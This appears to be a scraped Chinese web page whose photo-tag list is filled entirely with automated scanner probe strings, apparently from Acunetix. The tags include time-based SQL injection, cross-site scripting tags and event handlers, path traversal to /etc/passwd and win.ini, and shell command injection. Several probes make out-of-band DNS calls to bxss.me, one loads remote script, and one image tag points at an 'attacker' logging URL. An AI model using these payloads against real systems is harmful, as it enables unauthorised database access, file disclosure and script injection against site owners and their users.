×
照片标签：
- 1
- response.write(9242840*9371961)
- 1<esi:include src="http://bxss.me/rpb.png"/>
- '+response.write(9242840*9371961)+'
- "+response.write(9242840*9371961)+"
- ${9999161+9999869}
- 1&n908795=v984360
- ../../../../../../../../../../etc/passwd
- '.gethostbyname(lc('hitko'.'slwbopqm38862.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(73).chr(101).chr(84).'
- 12345'"\'\")
- ../../../../../../../../../../windows/win.ini
- ".gethostbyname(lc("hitqp"."ropdeyll2e606.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(80).chr(98).chr(73)."
- bibs
- bibs/.
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- HttP://bxss.me/t/xss.html?%00
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- ../1
- '"()
- echo ekaxcq$()\ vmokpb\nz^xyu||a #' &echo ekaxcq$()\ vmokpb\nz^xyu||a #|" &echo ekaxcq$()\ vmokpb\nz^xyu||a #
- bxss.me/t/xss.html?%00
- '"
- /xfs.bxss.me
- "+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(113).concat(81)+(require"socket" Socket.gethostbyname("hitum"+"ubfgefhv87df5.bxss.me.")[3].to_s)+"
- &echo ljwjey$()\ dhfvvn\nz^xyu||a #' &echo ljwjey$()\ dhfvvn\nz^xyu||a #|" &echo ljwjey$()\ dhfvvn\nz^xyu||a #
- '+'A'.concat(70-3).concat(22*4).concat(100).concat(79).concat(105).concat(66)+(require'socket' Socket.gethostbyname('hitjb'+'ttkvotqi46344.bxss.me.')[3].to_s)+'
- |echo hubwip$()\ qvygpd\nz^xyu||a #' |echo hubwip$()\ qvygpd\nz^xyu||a #|" |echo hubwip$()\ qvygpd\nz^xyu||a #
- (nslookup hitqzhasdcncva3f49.bxss.me||perl -e "gethostbyname('hitqzhasdcncva3f49.bxss.me')")
- $(nslookup hitkgdyrrvpmgf425c.bxss.me||perl -e "gethostbyname('hitkgdyrrvpmgf425c.bxss.me')")
- &(nslookup hitzbbtdsixij5550b.bxss.me||perl -e "gethostbyname('hitzbbtdsixij5550b.bxss.me')")&'\"`0&(nslookup hitzbbtdsixij5550b.bxss.me||perl -e "gethostbyname('hitzbbtdsixij5550b.bxss.me')")&`'
- |(nslookup hiteyzxlbkzmnb1451.bxss.me||perl -e "gethostbyname('hiteyzxlbkzmnb1451.bxss.me')")
- <!--
- `(nslookup hitnbaxeuibtac88c7.bxss.me||perl -e "gethostbyname('hitnbaxeuibtac88c7.bxss.me')")`
- 1'"()&%<acx><ScRiPt >MtlU(9278)</ScRiPt>
- 19014507
- acu2389＜s1﹥s2ʺs3ʹuca2389
- acux2379z1z2abcxuca2379
- {{49083*49404}}
- acu9572＜s1﹥s2ʺs3ʹuca9572
- acux2949z1z2abcxuca2949
- {{49760*49502}}
- acu3292＜s1﹥s2ʺs3ʹuca3292
- acux2594z1z2abcxuca2594
- CWS000x=1N@EI)@ HiP"DF G&َ7܂rX
- {{49467*49029}}
- 1'"
- \
- 1 %2527%2522
- @@xk1Ga
- JyI=
- ''""
- response.write(9469925*9276471)
- echo taklel$()\ nqhlax\nz^xyu||a #' &echo taklel$()\ nqhlax\nz^xyu||a #|" &echo taklel$()\ nqhlax\nz^xyu||a #
- '+response.write(9469925*9276471)+'
- &echo kguiph$()\ fajhcj\nz^xyu||a #' &echo kguiph$()\ fajhcj\nz^xyu||a #|" &echo kguiph$()\ fajhcj\nz^xyu||a #
- "+response.write(9469925*9276471)+"
- |echo dolccj$()\ mirzmn\nz^xyu||a #' |echo dolccj$()\ mirzmn\nz^xyu||a #|" |echo dolccj$()\ mirzmn\nz^xyu||a #
- g0wh5hI6
- (nslookup hitgvmufwhonif99bf.bxss.me||perl -e "gethostbyname('hitgvmufwhonif99bf.bxss.me')")
- $(nslookup hitdvagtovtkb035ad.bxss.me||perl -e "gethostbyname('hitdvagtovtkb035ad.bxss.me')")
- &(nslookup hitcdzfpxdhcd40c53.bxss.me||perl -e "gethostbyname('hitcdzfpxdhcd40c53.bxss.me')")&'\"`0&(nslookup hitcdzfpxdhcd40c53.bxss.me||perl -e "gethostbyname('hitcdzfpxdhcd40c53.bxss.me')")&`'
- ${10000363+9999235}
- |(nslookup hitttlcdkroga1c8a7.bxss.me||perl -e "gethostbyname('hitttlcdkroga1c8a7.bxss.me')")
- `(nslookup hitfzvscwnzhd18c34.bxss.me||perl -e "gethostbyname('hitfzvscwnzhd18c34.bxss.me')")`
- )
- 1some_inexistent_file_with_long_name .jpg
- !(()&&!|*|*|
- '.gethostbyname(lc('hitfi'.'ncphpdov481cd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(70).chr(111).chr(90).'
- '
- Http://bxss.me/t/fit.txt
- "
- ".gethostbyname(lc("hitdu"."pljkrjio721a0.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(88).chr(112).chr(70)."
- http://bxss.me/t/fit.txt?.jpg
- ${@print(md5(31337))}
- 9olW7Qlj
- bxss.me
- -1 OR 2+656-656-1=0+0+0+1 --
- "+"A".concat(70-3).concat(22*4).concat(108).concat(81).concat(107).concat(77)+(require"socket" Socket.gethostbyname("hitbg"+"zvuncyrs9cc81.bxss.me.")[3].to_s)+"
- '.print(md5(31337)).'
- -1 OR 2+979-979-1=0+0+0+1
- '+'A'.concat(70-3).concat(22*4).concat(108).concat(72).concat(122).concat(81)+(require'socket' Socket.gethostbyname('hityt'+'gzergxled2985.bxss.me.')[3].to_s)+'
- -1' OR 2+244-244-1=0+0+0+1 --
- 1&n937050=v937012
- -1' OR 2+32-32-1=0+0+0+1 or 'Ne9C3G6e'='
- -1" OR 2+268-268-1=0+0+0+1 --
- 161'
- if(now()=sysdate()
- sleep(12)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- 1'"()&%<acx><ScRiPt >81PN(9740)</ScRiPt>
- '"()&%<acx><ScRiPt >81PN(9804)</ScRiPt>
- (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
- 19860668
- -1
- acu4754＜s1﹥s2ʺs3ʹuca4754
- acux10322z1z2abcxuca10322
- {{49880*49210}}
- -1)
- acu2553＜s1﹥s2ʺs3ʹuca2553
- acux3745z1z2abcxuca3745
- {{50051*49863}}
- acu5723＜s1﹥s2ʺs3ʹuca5723
- acux1152z1z2abcxuca1152
- {{49080*49590}}
- 1 waitfor delay '0:0:12' --
- 1"onmouseover=81PN(9852)"
- 1" uk8q=81PN([!+!]) KzL="
- 1\u0022onmouseover=81PN(9240)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%38%31%50%4E%28%39%31%30%37%29%22
- "onmouseover=81PN(9720)//
- 1"sTYLe='acu:Expre/**/SSion(81PN(9064))'bad="
- mDZbQBRf'
- 1"><script>81PN(9778)</script>
- 1<ScRiPt >81PN(9554)</ScRiPt>
- 1<WQ7SAU>DZAAB[!+!]</WQ7SAU>
- -5 OR 331=(SELECT 331 FROM PG_SLEEP(12))--
- 1<script>81PN(9764)</script>
- 1<ScR<ScRiPt>IpT>81PN(9321)</sCr<ScRiPt>IpT>
- 1<ScRiPt >81PN(9441)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9132></ScRiPt>
- 1< ScRiPt >81PN(9551)</ScRiPt>
- -5) OR 261=(SELECT 261 FROM PG_SLEEP(12))--
- 1<video><source onerror="javascript:81PN(9395)">
- 1<svg onload=81PN(9249)
- 1<isindex type=image src=1 onerror=81PN(9839)>
- 1<iframe src='data:text/html
- 1<body onload=81PN(9347)>
- -1)) OR 785=(SELECT 785 FROM PG_SLEEP(12))--
- 1<img src=//xss.bxss.me/t/dot.gif onload=81PN(9872)>
- 1<img src=xyz OnErRor=81PN(9575)>
- 1<img/src=">" onerror=alert(9467)>
- %31%3C%53%63%52%69%50%74%20%3E%38%31%50%4E%289433%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\81PN(9126)\u003C/sCripT\u003E
- 1<
- MzBWkCDq' OR 833=(SELECT 833 FROM PG_SLEEP(12))--
- <img acu onmouseover=81PN(9120) //>
- 1<input autofocus onfocus=81PN(9077)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://xss.bxss.me][/url]
- 1<img<!-- --> src=x onerror=alert(9333)
- N365AqNL') OR 471=(SELECT 471 FROM PG_SLEEP(12))--
- 1}body{acu:Expre/**/SSion(81PN(9522))}
- 1<% contenteditable onresize=81PN(9319)>
- 1bKcS7 <ScRiPt >81PN(9795)</ScRiPt>
- 1<WOSCUD>RPA2J[!+!]</WOSCUD>
- aFehbhHz')) OR 833=(SELECT 833 FROM PG_SLEEP(12))--
- 1<ifRAme sRc=9917.com></IfRamE>
- 1<eYbBHO x=9472>
- 1<img sRc='http://attacker-9634/log.php?
- 1<EF4CN8<
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 12)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 12)||'
- '||(select 1 from (select pg_sleep(12))x)||'
- ''||(select 1 from (select pg_sleep(12))x)||''
- wSWrCv30
- -1 OR 2+377-377-1=0+0+0+1 --
- -1 OR 2+393-393-1=0+0+0+1
- -1' OR 2+531-531-1=0+0+0+1 --
- -1' OR 2+668-668-1=0+0+0+1 or 'YytXY2XE'='
- -1" OR 2+182-182-1=0+0+0+1 --
- sleep(15)
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 1 waitfor delay '0:0:15' --
- qP40IULu'
- -5 OR 826=(SELECT 826 FROM PG_SLEEP(15))--
- -5) OR 524=(SELECT 524 FROM PG_SLEEP(15))--
- -1)) OR 71=(SELECT 71 FROM PG_SLEEP(15))--
- XVmskG0u' OR 438=(SELECT 438 FROM PG_SLEEP(15))--
- 0MgLTmjy') OR 308=(SELECT 308 FROM PG_SLEEP(15))--
- qf3v86Cr')) OR 241=(SELECT 241 FROM PG_SLEEP(15))--
- 15)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- @@ksWoX
- 5JgH2V6o
- -1 OR 2+720-720-1=0+0+0+1 --
- -1 OR 2+210-210-1=0+0+0+1
- -1' OR 2+666-666-1=0+0+0+1 --
- -1' OR 2+616-616-1=0+0+0+1 or 'P8rjqhaF'='
- -1" OR 2+224-224-1=0+0+0+1 --
- jaYe9RSU'
- -5 OR 966=(SELECT 966 FROM PG_SLEEP(15))--
- -5) OR 393=(SELECT 393 FROM PG_SLEEP(15))--
- -1)) OR 723=(SELECT 723 FROM PG_SLEEP(15))--
- JTMWIt0P' OR 98=(SELECT 98 FROM PG_SLEEP(15))--
- kDsDfKLf') OR 570=(SELECT 570 FROM PG_SLEEP(15))--
- VceYKcGR')) OR 268=(SELECT 268 FROM PG_SLEEP(15))--
- @@CcztJ
微信扫一扫, 保存到手机
